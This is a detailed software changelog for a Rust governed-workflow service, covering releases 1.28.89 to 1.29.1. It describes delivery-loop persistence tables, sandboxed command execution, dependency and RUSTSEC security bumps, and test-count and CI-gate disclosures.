Tests. RED-first with recorded RED text and exit codes, and every guard red-proofed by deliberately breaking the thing it guards. Nineteen new tests (8 in the delivery core, 8 across the two engine crates, 3 in docs_truth), plus three existing executor-core tests reused rather than re-authored — the plan’s own list duplicated quality_gate_requires_live_surface_evidence, big_scope_mandates_delegation and the nested unknown-keys test, and the plan was right that the top-level unknown-key path was the genuinely uncovered one. CRATE_TEST_FLOOR needs no bump: 1,568 pinned against 2,115 measured, so the round’s growth is absorbed.

Two counts this record originally got wrong, corrected here. The delivery.rs suite went 12 → 20, not “15 → 22” — the earlier figure counted neither the pre-change total nor the delta correctly. And the pin count was understated as “twelve (7 kernel, 2 crate, 2 docs-truth)”, whose own breakdown did not sum to twelve. The three figures a reader is most likely to re-derive mean different things and are stated with their units: 2,115 is a static #[test] needle over src + tests (what CRATE_TEST_FLOOR measures, and it excludes #[tokio::test]), 1,927 is the lib target under default features, and 2,318 is the badges.sh total across every lane — that last one is what the README badge carries.

Ceilings, stated honestly. The ddl_* narrative row carries the digest, the ids, and the gate flag — never the artifact body, which is the proposal’s job. There is deliberately no ddl_artifact_refused kind: a gate refusal is raised before the transaction writes anything, so it leaves no residue to narrate, and a kind nothing can emit is the same validated-but-dropped vocabulary this release removed from the executor core. model_ref stays None: writing one would pre-empt the digest-pinned model-citation law the attestation round pins. Budgets are still stored and still unenforced, and blast_radius is still referenced by no code line. The forbid(unsafe_code) attribute now makes the two engine cores stricter than the four that already carried deny, which is deliberate and disclosed rather than made uniform in a wider diff than this round’s scope. A client’s artifact body is screened but its quality_gate JSON is not — the gate is parsed as structured data by the engine’s own validator, never rendered.

A ceiling on the test run itself. The suite is green with TMPDIR=/tmp, and one pre-existing sandbox test fails under a default TMPDIR on this host (workflow::sandbox::tests::realized_paths_law_pinned_against_symlinked_temp) because the agent sandbox’s TMPDIR is already a resolved path and the test cannot create its symlink alias. That is an environment property, not a code defect, and it is not introduced here — but it means “0 failed” is TMPDIR-conditional and nothing in the battery pins that. Recorded rather than quietly worked around.

[1.29.1] — 2026-09-26 — “Delivery persistence”: the loop gets a storage plane

Internal release. Prepared and tagged locally; not pushed, and deliberately without the CI-green gate. scripts/release.sh blocks until CI is green on the exact commit being tagged and then pushes the tag; CI is billing-blocked on this repository, so it can never go green and the script can never be satisfied. The gate was bypassed by explicit operator decision, not skipped by accident — see “The CI gate was not run” below. Nothing here claims the release passed CI. The full local battery did pass: 2314 tests, clippy -D warnings on four shapes, fmt on two targets, lipstyk-gate with zero diagnostics, and brain-migrate-rehearse all green.

Why a patch line and not a minor one. The duplication-debt ledger (src/dup_guard.rs) requires a new minor line to be earned by burning real duplication debt — DEBT_LEDGER holds rows for 1.28 (15) and 1.29 (14) only, and debt_ledger_reflects_reality_and_burns_down_per_line refuses a build whose line has no strictly-smaller row. This release adds no debt, so opening 1.30 would fail that guard unless an unrelated TODO(unify) pair were unified first. The house precedent settles it: patch lines carry additive work — 1.28.62 shipped the revoked_principals table and a schema stamp, 1.28.77 shipped the erasure line, 1.28.84 shipped the SSE revocation kill and required webhook signing — while minor lines are the earned boundary releases (1.29.0 “GDL boundary” is the one that burned 15 → 14). The delivery line’s rounds are incremental additive work on top of that boundary, so 1.29.1 is the semantically honest line. Recorded here because the version number is a real decision, not a formality.

Covers the twelve commits since v1.29.0, counting this release’s own documentation-truth fix. (The count is self-referential: a note that says “eleven” becomes false the moment the commit carrying it lands, which is the same class of defect this line corrects below.)

Release notes

Improvements

  • The delivery loop is persistent and has a run lifecycle. Two new tables land at schema 1.32.15 — delivery_traces (the per-run trace index over phases and gate dispositions) and delivery_budgets (the per-run budget head) — and four new writes under /workflow/delivery/ open a run, advance it one phase, answer its pending question, and evaluate its phase gate. The delivery loop rides the existing run engine with kind='delivery': no second engine, no workflow_runs or workflow_steps migration, and no change to the closed run-status set or the four normative routing keys.
  • A phase pass is one transaction. The step row, the revision CAS, the trace row, and a fail-closed audit row commit together or not at all — a pass can never land without its evidence. A lost CAS refuses the whole pass rather than overwriting the winner.
  • The gate is a disposition, not a mutation. POST …/gates evaluates the phase machine purely and offline, records its verdict, and moves nothing: deny wins, an illegal move is a refusal, and a tier that may not promote is told to ask — the human’s advance route is the disposal.
  • A new model-registry view in the console. A bounded listing, a single-row read, and proposals-only editing for declared model identities. Artifact and config digests are visible; artifact bytes never are. The listing carries the additional DPO role gate, and the view offers proposals rather than direct mutation — the same propose/dispose shape the rest of the system uses.
  • The delivery loop is ratified as the fourth top-level loop, and its pure decision core ships. crates/brain-delivery-core carries the closed autonomy-tier vocabulary, the forward-only phase machine, the deny-wins promotion gate, the attestation predicate, the budget ledger, the replay comparator, and the release-status machine. It is pure and total — no clock, no store, no network, no provider — so it decides without a running host. It has no callers of its own: this release’s fourth entry above is the first consumer.

Bug fixes

  • An interrupted end-to-end run no longer poisons the next one. The E2E entrypoint now self-heals its state instead of inheriting a half-finished previous run. Previously a run interrupted mid-flight could leave state that made the following run fail for a reason unrelated to the code under test.

Engineering record

  • Two new tables, house style. delivery_traces (content-addressed trc_<32 hex> id over the row’s facts and its ordinal in the run, closed CHECK vocabularies on stage/phase/status/tier, the (run_id) and (run_id, created_at) replay indexes) and delivery_budgets (composite (run_id, kind) PK). Both land in one execute_batch with their indexes; no FK, no down-migration, additive CREATE TABLE IF NOT EXISTS only. Refs, digests, and closed labels only — no raw query, evidence text, model bytes, rules bytes, or secrets.
  • Budget honesty binds the table. Rows are STORED and nothing enforces them: no route, ceiling, or decision path consults a budget, and blast_radius — admitted by the kind CHECK because the governing spec names it — is referenced by no code line at all, which a non-vacuous source scan pins over the production region of both new files. Turning enforcement on is a later round’s turn.
  • The design owner’s §7 non-goal is stale and is superseded here. §7 reads “no new trace table” — written to stop exactly this table. ADDENDUM 2 §2 decides that delivery_traces lands in this round with the 1.32.15 stamp, its own schema, first writer, indexes, and a replay-read contract; §1.6 was rewritten to say so and ADDENDUM 1 item 3 carries an inline supersession marker, but §7 itself was never corrected. Under the spec’s own precedence the addendum wins. Recorded here so the clause is not re-litigated mid-implementation; correcting the spec is the document owner’s act, not this round’s.
  • The autonomy-tier vocabulary has two spellings, and the boundary absorbs the difference. The governing spec spells the closed set kebab-case (observe | propose | bounded-auto | delegated); the pure crate spells its own variants snake_case (bounded_auto). The spec is the sole governing source and the crate is an implementation artifact of a shipped round, so the stored column and the wire use the spec’s spelling and a closed, total, four-arm bijection at the core boundary carries the translation — not a normalization pass, not a nearest-match guess. Both directions are pinned.
  • law_version stays empty, on purpose. A delivery run has no jurisdiction, and the column is a per-jurisdiction concept written only at case intake and read only by an advisory report that documents the empty stamp as “advisory unavailable”, never a refusal, never a block“. The delivery loop’s real law identity rides policy_digest + pipeline_version, both of which the trace row does write. Piping the engine version into the law column would fabricate a law_version_mismatch against the legal DB head on every run.
  • A new root dependency edge, and the lockfile moves. This round takes its first dependency on crates/brain-delivery-core, so the root Cargo.lock gains exactly one [[package]] entry (509 → 510) and zero third-party entries — the crate depends only on serde, serde_json, and sha2, all already locked. One resolve without --locked, its entire diff inspected before anything else ran, --locked for every command after. crates/Cargo.lock gains nothing.
  • Four writes, zero reads. The read routes the spec names but never assigns (GET /runs, /runs/{id}, /steps, /trace) are unassigned in the governing spec; they are recorded as an open gap rather than quietly built or quietly dropped. The /outcomes?window= read route is likewise recorded, not struck — its table was withdrawn but the route was never reconciled.
  • Authz ordering is the run’s domain, and that is the contract rather than a slip. The three id-scoped writes resolve the run’s domain before any gate — the domain is unknowable without the run, and authorizing against anything else checks the wrong domain. So an absent run is the probe-blind 404, exactly as on every other run-resolved route, and the 403-on-role proof is a seeded behavioural test that opens a real run first: a gate proven only against an absent row is a gate proven about nothing.
  • Four red-proofs, each run rather than assumed. Making the audit best-effort makes the atomicity test pass a phase pass with no evidence; a production reference to blast_radius trips the source scan; a one-sided schema edit turns the lockstep stamp guard red. All three were observed RED, then restored.
  • The CI gate was not run, and this release therefore carries no CI evidence. The repository’s release helper blocks until CI is green on the exact tagged commit and then pushes the tag. CI is billing-blocked here and cannot report green, so the helper is unsatisfiable by construction and was not invoked; the tag was created locally and not pushed. Everything asserted above was verified from local command output: 2314 tests passing across 15 suites, clippy -D warnings clean on four shapes, fmt clean on two targets, lipstyk-gate with zero diagnostics on changed lines, cargo machete clean, all eight cargo audit runs at exit 0, env-truth and badges self-checks clean, and brain-migrate-rehearse reporting ALL CHECKS PASSED against a temporary database. The live database and the running service were never touched.
  • Floors re-measured, never inherited. 196 coverage rows / 180 authz rows / 234 router sites / 2105 crate tests against floors of 167 / 152 / 199 / 1568 — no floor bump required, the slack was 24–31 rows.
  • Honest ceilings. No read surface, so the stored answer prose has no reader yet (bounded to 2000 chars, never copied into a trace row, and not on any emit path). No session-log append on the phase pass — the reuse of the append-only narrative log belongs with the round that adds a consumer to drive it, and the idle check would have nothing to assert. pending_question is never set by any route in this release, so the answer route is only exercisable by a caller that writes run state directly. This release makes no compliance, conformity, certification, or risk-classification claim; the 1.32.15–1.32.18 stamps are internal engineering versions, not regulatory filings.
  • Also in this release, not user-facing: the models table’s Tailwind classes were canonicalized to v4 forms (presentation only, no behavior change), and the D0 architecture record was written into docs/architecture.md (the delivery loop’s placement as the fourth top-level loop, with the extended law sentence a model proposes; only the gate disposes — including delivery). docs/architecture.md then had its delivery-loop paragraph corrected from “no callers” to the first-persistence state — the server now consumes the pure core and persists what it decides — while keeping the honest qualifier that persistent is not complete: what is stored is neither enforced nor read back, and the replay-verify surface, authority bindings and connectors, the release and promotion surface, and any derived read model remain unbuilt. That commit also put the pending_question gap on the record. The pure core’s two structural ceilings also stand and are not incidental: it does not sign and does not verify signatures, so an unsigned or foreign-signer case is a refusal the host must make and never a degraded mark from the core; and autonomy only narrows, so promote reads the tier and never the recorded trace mode.
  • Documentation-truth correction, recorded rather than silently amended. The first draft of this section said “covers the nine commits since v1.29.0” when the true count was ten, and eleven once the architecture paragraph landed. A release note that miscounts its own contents is a docs-truth defect, and this repository pins guards against exactly that class — so the count is corrected here and the correction is disclosed in the commit that carries it, rather than folded in invisibly.
  • Predecessor: v1.29.0 “GDL boundary and launch integrity”.

[1.29.0] — 2026-09-25 — “GDL boundary, governed decisions, and model identity”

This release closes the GDL provider boundary and launch-integrity work accumulated since 1.28.92, alongside the governed model identity, decision-run, and evaluation-record surfaces. The GDL launch request is intentionally breaking; its migration is called out first.

Release notes

Improvements

  • GDL launch migration (breaking request contract). POST /workflow/cases/{id}/gdl accepts the bounded {ticket} body only. Callers that send base_url, model, secret_file, or timeout/response fields receive 400 gdl_request_migrated; configure the server-owned BRAIN_GDL_PROVIDER_BASE_URL, BRAIN_GDL_PROVIDER_MODEL, BRAIN_GDL_PROVIDER_SECRET_FILE, and BRAIN_GDL_PROVIDER_SECRET_ROOT profile instead. Readiness reports gdl_provider: disabled|configured|invalid; partial or invalid configuration refuses bootstrap.
  • GDL launch integrity. Provider failures after admission become a durable, non-retryable gdl_provider_failed terminal: the first launch returns HTTP 503 and a later launch against that run returns HTTP 409 without replaying provider work. The 25-second total request/body deadline bounds slow-drip responses, and receiver cancellation drops the in-flight HTTP future.
  • Governed model identity and decision-run surfaces. Digest-pinned model registration, inspection, listing, human-gated lifecycle, and the role-authorized decision-run execute/read/replay/listing routes are available with bounded, audited responses. Exploratory output can propose but cannot promote.
  • Evaluation records. Bounded, digest-pinned, explicitly non-authoritative evaluation records can be created and read through the DPO/Admin-gated route family without treating an operator judgment as an authoritative label or registry transition.

Security fixes

  • GDL provider and secret boundary. JWT callers need domain Write plus the supported workflow role before profile, secret, DNS, or provider work. The new least-privilege workflow-operator role is grantable through the public role contract; agent, role-less JWTs, and unknown roles remain denied. Provider endpoints require HTTPS and safe URL shapes, retain address screening and DNS pinning, and refuse redirects.
  • Provider-failure settlement. Typed exchange/invocation/checkpoint/audit/claim-release handling prevents an admitted GDL exchange or invocation from remaining unfinished. Provider bodies, bearer values, secret paths, and secret-bearing URLs are not persisted or logged.
  • Model identity and evaluation integrity. Registry lifecycle proposals bind the exact current row and digest; evaluation records bind their target and manifest digests. Missing or unavailable evidence is not fabricated, and no evaluation or registry surface autonomously changes lifecycle status.

Engineering record

  • R34 is commit 6e458bb; R35 is commit 23cc116. This release commit is separate from both round commits.
  • The R34/R35 OpenAPI and generated shell changes are retained; the static API contract stamp is 1.23.0. Existing schema-stamp continuity labels (1.32.13 and 1.32.14) are not moved or renamed by the release commit.
  • The release prep makes the C2 cancellation test deterministic and retires the two pre-existing lipstyk match findings; it does not change product behavior. No new dependency, lockfile, migration, package, plugin, OpenClaw, Tauri, or client source change is part of this release.
  • The release is an engineering and version event only; it makes no legal, compliance, conformity, certification, or risk-elimination claim.

[1.28.92] — 2026-09-22 — “Ledger”: the loop closes diagnostically, and the record layers land

The governed loop’s 1.32.x line is stamped through 1.32.7 “Diagnostic Closure”, and two preregistered record layers ship on top of it: the after-action disagreement corpus (Reflect/learn) and the StewardOS account record layer — the deliberately-not-a-CRM. The System-One decide modules land as a pure, ungated Phase 0 port with zero behavior change. The exec path gains a real OS boundary. Fifty-four commits, six prereg-first rounds (R16–R21), every round with a hash-pinned prereg written before its first edit and an evidence file written after — and the classifier consume is deliberately ABSENT: the 1.32.8 System-One lane stamps only when that lane ships, and the lane stays opener-gated on the operator labeling round. Zero new runtime dependency edges across the whole batch; Cargo.lock byte-untouched in every round that promised it.

Release notes

Security fixes

  • The exec path gets an OS boundary. The loop’s command execution now runs behind a typed sandbox seam with policy-outranks-backend selection: deny-default sandbox-exec profiles on macOS, a target-gated Landlock enforcement path on Linux, fail-closed everywhere — an unavailable backend refuses the command rather than faking it, and the handle laws pin cancellation and reaping mid-run. Every execution the loop mediates inherits this boundary; nothing opts out.
  • Agents cannot mint loop obligations or account rows. The handoff decision, back-referral return, pipeline stage change, and account archive all enforce the machine-refusal law at the surface AND in the core: a decision reference is REQUIRED (400 decision_ref_required / decision_ref_invalid), screened and bounded, and the role gates refuse the agent class before any row is written. The account link/pipeline rows are agent-denied end to end; the classifier never advances a stage.
  • The exfiltration surfaces carry the DPO dual gate. The two bulk-read surfaces added this release — the disagreement-corpus export and the account listing — both require the Admin scope AND the DPO role, land a global audit row per call (principal, filter, row count), and answer bounded pages only. Corpus exports de-identify at the seam through a synthetic scope-less reader (unconditional PII masking — no caller’s clearance can bypass it), and rows carry their frozen train/holdout partition so a bleed is checkable.
  • Probe-blind 404s everywhere new. Every run- and account-scoped route added since 1.28.91 answers an absent id with the same 404 an unauthorized caller gets — an absent account and a non-account id are the SAME answer, so the surface never reveals whether an id exists as some other kind of row.
  • CI now scans every tracked lockfile with the real advisory database. The rustsec/audit-check action is replaced by the cargo-audit binary (scanning root, client, and tools lockfiles on every push); the CodeQL traced-build ENOSPC failure is fixed; the tools lockfiles carry the RUSTSEC-2026-0285 rustls 0.23.45 bump. The conformance pack gains the two-door rule: an explicit GDL_R10_PACK_DIR is a fail-closed operator request, while the pack’s plain absence on CI is a NAMED skip — never a silent pass.
  • The memory-safety floor is enforced on production builds, and the loop’s untrusted-input parsers (model-generated JSON artifacts) are reachable through total fuzz seams — every seam returns plain data or a named refusal, never a panic, for any input.

Improvements

  • The loop closes diagnostically — 1.32.7 “Diagnostic Closure”. The full closure chain: the SLA clock arms at triage on a typed row (pinned P-class table); the unconditional human escape is honored at every phase boundary with exact replay; escalations land exactly one pre-filled I-PASS offer draft (HITL-gated); justified_handoff_rate rolls up from recorded soft-handoff rows with unjustified revisits denied-and-audited; the continuity report section renders deterministic, recorded-rows-only. The triage duty applies ESI/MTS acuity with the red-flag forcing function (monotonic escalate-first lock, fail-closed must-miss catalog); NO case resolves without a law-clean closure artifact at the single resolution seam; the back-referral contract arms atomically with the handoff and its overdue HITL sweep never auto-resolves an obligation.
  • The operator decision surfaces. Two new authenticated routes — POST /workflow/runs/{id}/handoff/decision and POST /workflow/runs/{id}/back-referral/return — put the human decision in the wire: a decision-required transition never moves without the operator’s reference, the report’s B3 refusals surface named with the missing list, and the board’s overdue sweep fires on the production read so a past-deadline contract never reads as merely open.
  • The disagreement corpus (Reflect/learn). After-action reflection records capture inside the closing transaction — atomic with closure, strictly after the outcome is sealed, and PROVEN retrospective-only: the same case driven twice is byte-identical with capture on versus off (modulo per-run ids). Hard-negative disagreement rows derive ONLY from audited gate rows, never agent free text. The DPO exports the labeled corpus, bounded and audited, with a frozen train/holdout split stable across exports.
  • The account record layer — the deliberately-not-a-CRM. Accounts are workflow rows of kind account (no new table, no migration): a screened, bounded record (name, owner label, status, server clock — identifiers only, never request bodies); request→account links and a decision_ref- gated pipeline timeline (closed ratified vocabulary: lead → qualified → proposal → closed_won | closed_lost) as additive audited session-log rows; six routes total with the per-account history served as a pure decision join. Schema-driven wizard packs (support-ticket, tele-health, capture pre-screen) ship as kernel-validatable DATA on the decide builders — branch-on-answer in the pack schema, answers typed choice/score/noul only, anything ambiguous ABSTAINS, and the assembled case lands through the existing webhook seam. The renderer stays GUI-owned.
  • The System-One decide modules land as pure Phase 0 — script/language detection, the routing precedence chain, the typed question sequences with the hard 20-option ceiling, entropy/ECE calibration in integer units, and the triage/email/guard preset schemas: 134 spawn-free tests, zero behavior change, no model, no Python, no runtime fetch. The inference wiring stays gated on the 1.32.8 lane.
  • The curated legal-rules DB and the law-version stamp. A read-only, Admin+DPO-gated GET /legal/rules?since= diffs the curated law vocabulary reproducibly; every intake stamps its law_version; the run report renders the recorded rows advisory-only — it informs a human, it never blocks.
  • The compaction pipeline is a measured experiment with failure drills (probes, degradation latches, replay caps), and the fuzz corpus replay tests walk committed seeds for every parser added since the last release.

Bug fixes

  • The CETS 225 (CoE Framework Convention on AI) entry-into-force stamp is corrected to 2025-09-01 — the CoE’s own treaty text carries the Article 30 mechanism; the in-tree 2025-11-01 date was wrong. Fixed together: code, compliance doc, derived pin.
  • The linux_ci outside-write probe targeted a GRANTED scope — the probe now exercises the denial path it claimed to test.
  • The no-SQL-in-handlers law is restored over the decision surface: the return handler’s inline read moved to a core reader owned by the module that owns the row shape, and the SQL-bearing tests moved to the integration tree — the sanitized gate caught it, the law was right, and nothing was weakened.
  • The conformance fixture re-sync puts the plain case-run lane back at 6 passed / 0 failed / 1 ignored (the gold pack re-synced and re-pinned).

Engineering record

  • The round discipline. R12–R21, each round preregistered before its first edit and evidenced after: the plans and evidence live in the operator spine (EXECUTION_PLAN_R1[2-9,20,21]*, R19_CLOSEOUT_AND_SYSTEM1_ PHASE0_EVIDENCE, R20_REFLECT_CORPUS_EVIDENCE, R21_EVIDENCE_stewardos_accounts, and the pinned preregs — e.g. the R21 prereg 8ab2906e… pinned before any kernel byte, with one dated pre-data addendum). R20 and R21 each landed as exactly ONE kernel commit.
  • Validation at the release tag. The four sanitized gate scripts (regenerated each round from the persisted 219-name skip list, asserted byte-identical) stand at 1948 / 1972 / 1976 / 1955 — every round’s growth exactly its preregistered spawn-free count (1.32.7: +24; R19: +149; R20: +20; R21: +35). spire inventory: router routes 216, crate tests 2,007, coverage rows 180, authz rows 164 — each delta exactly the round’s declared surface. SDK 184/188, brain-fuzz 4 (kernel-free), legal-rules-db 11, workspace battery 22 sections / 230 tests. fmt, both clippy variants (-D warnings), the no-SQL-in-handlers pin, the every-route authz source scan, the openapi coverage pin, the reverse guard, the comment-hygiene law, dup_guard, env-truth (zero new knobs), FIFO control, and cargo-audit — all green at the tag. The SBOM is regenerated for this version (sbom/brain-server-1.28.92.cdx.json).
  • The gates caught real bugs and were never weakened: dup_guard refused two same-name helpers across rounds (both renamed on the new round’s own lines); the sanitized gate caught the handler SQL (F3 above) and the comment-hygiene law caught a plan-id label; a lipstyk pass fixed every changed-line finding. Each catch is recorded in the round evidence with the fix.
  • Honest ceilings, named. The classifier consume is NOT built — the 1.32.8 System-One lane stamps only when it ships, gated on the operator κ-labeling round; the decide modules are pure, ungated, and wired to nothing. The wizard renderer and interaction telemetry are GUI-owned (SvelteTauri shell plan) and absent here. The corpus capture is retrospective-only by construction. Landlock is target-gated to Linux; macOS enforcement rides sandbox-exec. The run report is advisory and never blocks a case. Retrieval-quality and compliance claims elsewhere in this file keep their own scopes; nothing in this section is a benchmark, model-performance, or compliance claim.
  • Dependency posture: zero new runtime dependency edges across the entire batch (every round’s Cargo.lock byte-untouched by declaration and verified; the decide modules are std + serde + serde_json only). The tools-lockfile rustls bump is the one advisory-driven change, and it rides the release-time workspaces only.

[1.28.91] — 2026-09-15 — “Notary”: the off-host witness and the physical shred

Two operator-held evidence verbs close standing disclosed ceilings, and the release carries the prior CodeQL hygiene fix, a rustls RUSTSEC bump the release gate caught, and the seventh-pass register remainder closed (the register now has zero open rows). No routes, no schema, no wire change — the x-api-version stamp is untouched (CLI-only surface).

Release notes

Security fixes

  • brain anchor — the off-host tamper witness. The seventh-pass live drill demonstrated that business-row tamper behind the audit chain passes every in-tree verifier (/ump/audit/verify censuses evidence rows; /verify checks claims against CURRENT bytes). The anchor closes the detection gap the honest way this architecture allows: a deterministic state fingerprint (chain head + knowledge content census
    • row counts) the operator records OFF-HOST and later recomputes with --verify. Detection, not prevention — periodic, not continuous; the host can forge everything on it, never the copy in your pocket.
  • brain shred — the physical residue drop. Logical DSAR purge left purged bytes in freelist/WAL page images (the certificate’s disclosed posture). The shred rewrites the file — secure_delete=ON with readback asserted, wal_checkpoint(TRUNCATE), VACUUM, a second TRUNCATE checkpoint, integrity_check — and evidences the act with one hash-chained forget row. Freelist reads back zero. Filesystem copies, <db>.bak snapshots, standby chunks, and SSD wear-leveling remain the printed operator-level ceiling.
  • CodeQL #74 cleared (rode main ahead of this release): the bounded-cache pin’s assert message no longer formats a cache-derived value — a tainted receiver’s .len() reaching the panic/log sink reads as cleartext logging.
  • rustls 0.23.43 → 0.23.45 across ALL THREE Rust workspaces (root, client, steward-harness) — RUSTSEC-2026-0285 (published 2026-09-14: TLS 1.3 handshake messages incorrectly accepted across encryption level boundaries; patched ≥0.23.45). CI’s advisory scan caught it on the first push of this release and the release gate refused the tag until fixed — the fail-closed bridge working as designed. Practical exposure here is low (outbound HTTPS egress only; the handshake transcript remains authenticated), but the bump is SemVer-compatible and inert to the egress-pin suite (34/34 webhook+egress family green on the bumped lockfile).
  • The env-truth gate learns the code shape — scripts/env-truth.sh’s implemented() was a bare substring match, so a comment, doc-string, log line, or fixture string naming a BRAIN_* knob counted as “implemented” (demonstrated red-first: a knob whose only in-scope occurrence was a comment passed the old gate). Now the name must sit on an env::var/var_os/set_var/remove_var read line; the three runtime-derived/external-consumer stragglers ride an explicit printed PINNED_CALLSITES inventory (the secrets-ladder resolve("case_status") derive ×2, and BRAIN_SERVER_AUTH_TOKEN = openclaw-host substitution), and BRAIN_MODEL_PROFILE is a declared non-knob (the docs say so themselves). --selfcheck builds clean + hostile fixture trees — the hostile one is the red proof kept permanent. All 84 scoped names measured and resolved honestly.

Improvements

  • New CLI reference section “Evidence & physical erasure”; verify joins the value-flag vocabulary.
  • CRATE_TEST_FLOOR 1,455 → 1,462 (seven new pins, all red-first-shaped: the tamper fixture must be greppable pre-shred and detectable post-anchor before the asserts mean anything).

Bug fixes

  • None.

Engineering record

  • Two new lib modules, CLI-only consumers (the standby precedent): src/anchor.rs (fingerprint — fail-closed on any unreadable census input; no DB writes by design) and src/shred.rs (the rewrite — every step asserted, an unevidenced shred is an error, never a warning).
  • Pins: anchor_detects_business_row_tamper (the R7-08 closure — the chain stays green while the census names the tamper), anchor_detects_chain_truncation, anchor_is_deterministic_across_reopen, anchor_ignores_page_layout_vacuum (shred/anchor compose: a VACUUM never trips the anchor), anchor_line_round_trips_and_refuses_garbage, shred_removes_deleted_row_residue (marker greppable pre-shred — the fixture’s teeth — then absent from main AND wal post-shred), shred_writes_forget_evidence_and_keeps_chain_verifiable.
  • Register dispositions riding this release (docs-only): the fork update-chain accepted risk FINAL (no upstream PRs; compensating controls procedural — THREAT_MODEL §5b row added); the aarch64 CI-execution gap CLOSED as not-applicable (no Jetson/fleet deployment exists; reopen trigger = first aarch64 fleet deploy); S7-05 (above) and L7-07 re-verified 2026-09-15 (Singapore MGF for Agentic AI 2026-01-22 voluntary; CoE CETS 225 in force 2025-11-01; US AI Diffusion rescinded 2025-05-13 — all unchanged-risk at component level). The seventh-pass register is fully dispositioned.
  • Ceilings, honestly: the anchor’s cadence is operator-chosen (detection latency = that cadence); proposals/workflow/dsar rows are censused by COUNT, not content (bulk-tamper canaries); the shred is SQL-layer only; VACUUM needs free disk ~ DB size; the shred’s own forget row moves the chain head (re-anchor after shredding — printed by the verb).

[1.28.90] — 2026-09-14 — “Refresh”: the service bump — nine Dependabot PRs applied and verified

A maintenance release with ZERO code changes: the nine open Dependabot dependency PRs (#31–#39) are applied on main in one verified pass and shipped together instead of nine sequential merge-rebase-CI cycles. All three Rust lockfiles move; the only manifest change is the dirs major bump. No wire change, no route change, no schema, no behavior change of any kind — the full gate proves the bumps are inert.

Release notes

Security fixes

  • github/codeql-action (init + analyze) moves from the 4.37.9 pin (cdf488f5…) to v4.38.0 (b96794f0…) — the static analyzer that scans this repo stays current (PRs #38, #39).
  • reqwest 0.13.4 → 0.13.5 across ALL THREE Rust workspaces (root, client, tools/steward-harness; PRs #36, #34, #32) — the shared egress client (the DNS-rebind-pin seam, v1.28.69) rides the patch current; the insert-only pin suite (pinned_client_survives_dns_rebind family) and the private-address refusal table pass unchanged.

Improvements

  • dirs 6.0.0 → 7.0.0 (the release’s one manifest change; the only consumer API in-tree is dirs::home_dir(), unchanged across the major — hf-hub keeps its own dirs 6.0.0 in the lock, per the PR’s resolution) (PR #31).
  • fastembed 6.0.2 → 6.0.3 with tokenizers 0.22.2 → 0.23.2 transitively — the static embedder tier compiles and the eval floor holds (PR #37).
  • uuid 1.26.0 → 1.26.1 (PR #33); zerocopy 0.8.56 → 0.8.57 (PR #35).
  • reqwest 0.13.5 pulls base64 0.23.1 into the client and steward-harness closures (0.22.1 stays for the dependents that need it) — lockfile shape per the PRs.

Bug fixes

  • None.

Engineering record

  • Why one commit, not nine merges: each Dependabot branch rewrites the same lockfiles from the same base, so sequential merges would conflict-and-rebase nine times and trigger nine CI matrix runs to verify one lockfile state. The union of the nine diffs is applied atomically (manifest dirs bump + cargo update -p per package, --precise 6.0.3 pinning fastembed to the PR’s target rather than the newer 6.1.0 the resolver prefers), then verified once. The working diff was checked package-by-package against each PR’s lockfile delta — identical resolutions, including the two-version coexistence shapes (dirs 6+7 in root, reqwest 0.12+0.13 everywhere, base64 0.22+0.23 in client/steward-harness).
  • Verification (the full CI-dry-run battery, run sequentially — the first parallel attempt tripped the known load-race class once, passed clean in isolation and in the sequential reruns): compile check; cargo fmt --check; clippy -D warnings on bench / default / otel / engine-crates / steward-harness / client (incl. the desktop feature); full cargo test --features bench (exit 0 through doc-tests); default-features full run 1,591 passed / 0 failed across 15 binaries; otel full run 1,595 passed / 0 failed; client suite 241 passed + wasm build + desktop check; steward-harness + engine-crates suites green. lipstyk: nothing to lint — the release touches no Rust under src/client/plugin (Cargo.toml, three lockfiles, codeql.yml, docs only).
  • Ceilings (honest): aarch64 remains untested-by-CI (the standing known issue — local macOS arm64 gate is the arm evidence); the SBOM component count moves with the closure (dirs+1, tokenizers±, base64 additions) and is regenerated in-commit; no benchmark re-run — the bumps are a patch/minor refresh and the embedder eval floor tests cover the fastembed/tokenizers move.

[1.28.89] — 2026-09-14 — “Bounded”: seventh-pass closures, release 4 of 4

Closes the satellites/supply-chain band and the one fork regression from the seventh-pass security audit (register rows in AUDIT.md; finding IDs in the Engineering record below). Theme: bounded and truthful — the unbounded cache wearing an LRU label, the deprecated parser in the dependency closure, the CI gate that existed only as a procedure, and the manifest/lock mismatch the mirror-sync created. Zero wire change; zero route change; no schema.

Release notes

Security fixes

  • The Signal edge tool’s recipient cache (documented as an LRU) was in fact two plain hash maps with no size limit and no eviction — a slow memory leak on a long-lived daemon. It is now bounded at 4,096 entries with oldest-quarter eviction (the same law the replay cache has used since v1.28.73), and its documentation now says what the structure actually is.
  • The deprecated, archived YAML parser (serde_yaml 0.9.34+deprecated, RUSTSEC-2024-0320 class) is out of the dependency closure of both lockfiles. The only consumer was a dormant manifest loader with zero callers anywhere in the workspace; the loader is removed rather than re-implemented (hand-rolling a YAML parser for dead code would trade one hazard for another).
  • The release pipeline now enforces the green-CI gate in the workflow itself: before anything publishes, the workflow queries the CI run for the exact tagged commit and refuses to publish if it is red OR absent. Previously the check lived only in the tagging helper script, so a raw git tag && git push bypassed it. Workflow permissions dropped to read-only with write access scoped to the single job that publishes the release.
  • The OpenClaw memory plugin (v0.6.10) closes two discipline drifts: one error-log site now passes error text through the same sanitizer as its sibling sites, and a regex written with raw control characters moves to escaped form so the file is readable as text by security grep tooling.
  • The deployed extension’s package manifest is re-pinned to the typebox version the workspace actually runs (1.3.27) — a mirror-sync had silently reverted it to 1.3.26, misstating what ships and breaking frozen-lockfile installs. The repair is mechanical: the sync script now patches declared fork-side fields from the workspace’s own catalog and fails closed if the manifest and lockfile ever disagree again. pnpm install --frozen-lockfile passes; the lockfile itself needed no changes.

Improvements

  • None.

Bug fixes

  • None.

Engineering record

